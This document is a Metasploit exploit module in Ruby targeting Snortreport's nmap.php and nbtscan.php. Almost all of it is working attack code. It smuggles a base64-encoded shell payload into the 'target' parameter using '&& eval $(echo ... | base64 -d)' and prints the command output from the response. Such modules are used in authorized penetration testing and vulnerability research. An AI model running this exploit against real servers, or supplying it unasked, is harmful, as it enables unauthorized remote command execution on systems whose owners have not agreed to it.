Snortreport Remote Command Execution

`##  
# $Id: snortreport_exec.rb 13846 2011-10-09 20:31:51Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in  
nmap.php and nbtscan.php scripts.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Paul Rascagneres' #itrust consulting during hack.lu 2011  
],  
'Version' => '$Revision: 13846 $',  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Sep 19 2011',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),  
],self.class)  
end  
  
def exploit  
base64_payload = Rex::Text.encode_base64(payload.encoded)  
  
start = "127.0.0.1 && echo XXXXX && eval $(echo "  
last = " | base64 -d) && echo ZZZZZ"  
custom_payload = start << base64_payload << last  
  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'vars_get' =>  
{  
'target' => custom_payload  
}  
},10)  
  
if (res)  
to_print=false  
already_print=false  
part=res.body.gsub("<BR>","")  
part.each_line do |line|  
if line =~ /ZZZZZ/  
to_print=false  
end  
if to_print == true  
print(line)  
end  
if line =~ /XXXXX/  
already_print=true  
to_print=true  
end  
end  
  
if already_print == false  
print_error("This server may not be vulnerable")  
end  
else  
print_error("No response from the server")  
end  
end  
end  
`